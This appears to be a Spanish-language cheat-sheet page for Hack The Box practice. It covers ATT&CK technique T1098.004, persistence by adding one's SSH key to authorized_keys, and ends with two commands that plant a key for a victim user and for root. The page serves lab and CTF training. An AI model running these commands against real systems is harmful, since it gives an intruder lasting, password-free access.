T1098.004

Claves autorizadas de SSH

Subtécnica de T1098 Manipulación de cuentas

Añadir tu clave pública a authorized_keys para entrar por SSH sin contraseña.

Cómo aparece en Hack The Box

Si puedes escribir como otro usuario (o como root) en su home, generar una clave y añadirla a ~/.ssh/authorized_keys te da una shell estable que sobrevive a reinicios.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

C2 y post-explotación › Persistencia

Tu clave SSH en authorized_keys Víctima
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA... tu_clave' >> ~/.ssh/authorized_keys
Añadir una clave SSH de root (si puedes escribir) Víctima
echo 'ssh-ed25519 AAAA... tu_clave' | sudo tee -a /root/.ssh/authorized_keys